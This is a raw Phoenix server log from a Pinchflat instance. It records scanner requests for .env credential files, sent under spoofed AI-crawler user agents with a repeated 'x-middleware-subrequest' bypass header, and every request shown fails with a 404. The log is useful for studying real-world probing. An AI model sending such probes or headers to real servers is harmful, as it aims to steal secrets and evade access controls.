"pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34102}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "import&raw", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29710.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34102}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", (truncated) 16:49:08.082 [info] GET /.env.production 16:49:08.082 [debug] QUERY OK source="settings" db=0.0ms idle=148.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:08.082 [debug] QUERY OK source="settings" db=0.0ms idle=148.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:08.082 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:08.082 [error] #PID<0.29713.0> running PinchflatWeb.Endpoint (connection #PID<0.29712.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /.env.production?import&raw ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29712.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34104}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.4; +https://openai.com/gptbot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "import&raw", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29713.0>, params: %{"import" => "", "raw" => ""}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{"import" => "", "raw" => ""}, query_string: "import&raw", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.4; +https://openai.com/gptbot"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/.env.production", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61dQ8SWwOz8wAAH_j"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29712.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34104}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.4; +https://openai.com/gptbot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "import&raw", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29712.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34104}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.4; +https://openai.com/gptbot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data (truncated) 16:49:08.143 [info] GET /.env.local 16:49:08.143 [debug] QUERY OK source="settings" db=0.0ms idle=194.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:08.143 [debug] QUERY OK source="settings" db=0.0ms idle=66.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:08.143 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:08.143 [error] #PID<0.29715.0> running PinchflatWeb.Endpoint (connection #PID<0.29714.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /.env.local?import&raw ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29714.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.local", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34106}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Hunyuan/1.0; +https://hunyuan.tencent.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "import&raw", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29715.0>, params: %{"import" => "", "raw" => ""}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{"import" => "", "raw" => ""}, query_string: "import&raw", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; Hunyuan/1.0; +https://hunyuan.tencent.com/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/.env.local", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61dffKaUMgf0ABMVi"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29714.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.local", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34106}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Hunyuan/1.0; +https://hunyuan.tencent.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "import&raw", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29714.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.local", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34106}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Hunyuan/1.0; +https://hunyuan.tencent.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefine (truncated) 16:49:08.144 [info] GET /.env.local 16:49:08.145 [debug] QUERY OK source="settings" db=0.0ms idle=67.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:08.145 [debug] QUERY OK source="settings" db=0.0ms idle=62.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:08.145 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:08.145 [error] #PID<0.29717.0> running PinchflatWeb.Endpoint (connection #PID<0.29716.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /.env.local?raw ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29716.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.local", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34110}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "raw", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29717.0>, params: %{"raw" => ""}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{"raw" => ""}, query_string: "raw", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/.env.local", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61df3YbvESpsABwMB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29716.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.local", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34110}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "raw", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29716.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.local", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34110}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, (truncated) 16:49:08.147 [info] GET /.env.production 16:49:08.147 [debug] QUERY OK source="settings" db=0.0ms idle=64.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:08.147 [debug] QUERY OK source="settings" db=0.0ms idle=3.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:08.147 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:08.147 [error] #PID<0.29719.0> running PinchflatWeb.Endpoint (connection #PID<0.29718.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /.env.production?raw ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29718.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34126}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; 